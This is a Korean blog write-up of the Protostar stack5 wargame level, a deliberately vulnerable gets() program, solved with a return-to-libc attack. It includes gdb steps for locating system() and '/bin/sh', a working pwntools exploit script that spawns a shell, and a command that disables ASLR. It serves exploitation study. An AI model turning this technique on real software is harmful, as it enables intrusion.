프로토스타

[프로토스타] stack5-2 (return to library)

-dP- 2019. 1. 15. 14:40

stack5.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }



출처: http://liveoverflow.com/binary_hacking/protostar/stack5.html




1. 문제 해결 / 분석





1-1. lib32z1 다운로드





32bit 환경에서 해야한다.


file stack5를 통해서 몇 비트 파일인지 알 수 있다.




1-2. gdb ./stack5






disas main


b *main


r


1-3. R2L 




buffer

ebp

ret -> system lib로 실행하게 하면 된다. 그러나

ret (system 주소로 가는 ret)

argument (쉘 코드가 들어가는 영역)



따라서 system과 /bin/sh의 주소를 알아야한다.





disas system 혹 print system


find '/bin/sh' 혹 find /bin/sh


주솟값을 얻었다.



1-4. offset 찾기





pattern create 100


disas main


ret에 브레이크 포인트


b *main+22


conti


(임의 100개 문자)



stack 맨 위에 있는 거


pattern offset ____


offset : 76



1-5. 코드 작성 및 실행



from pwn import *


system = p32(0xf7e0cb30)

dummy = p32(0xFFFFFFFF)

bin_sh = p32(0xf7f4caaa) #ASLR 

offset = 76


payload = 'A' * offset + system + dummy + bin_sh

p = process(['stack5'])


p.sendline(payload)


pause()


p.interactive()






쉘코드가 잘 실행됨을 알 수 있다.


asrl 꼭 끄기


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space


참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/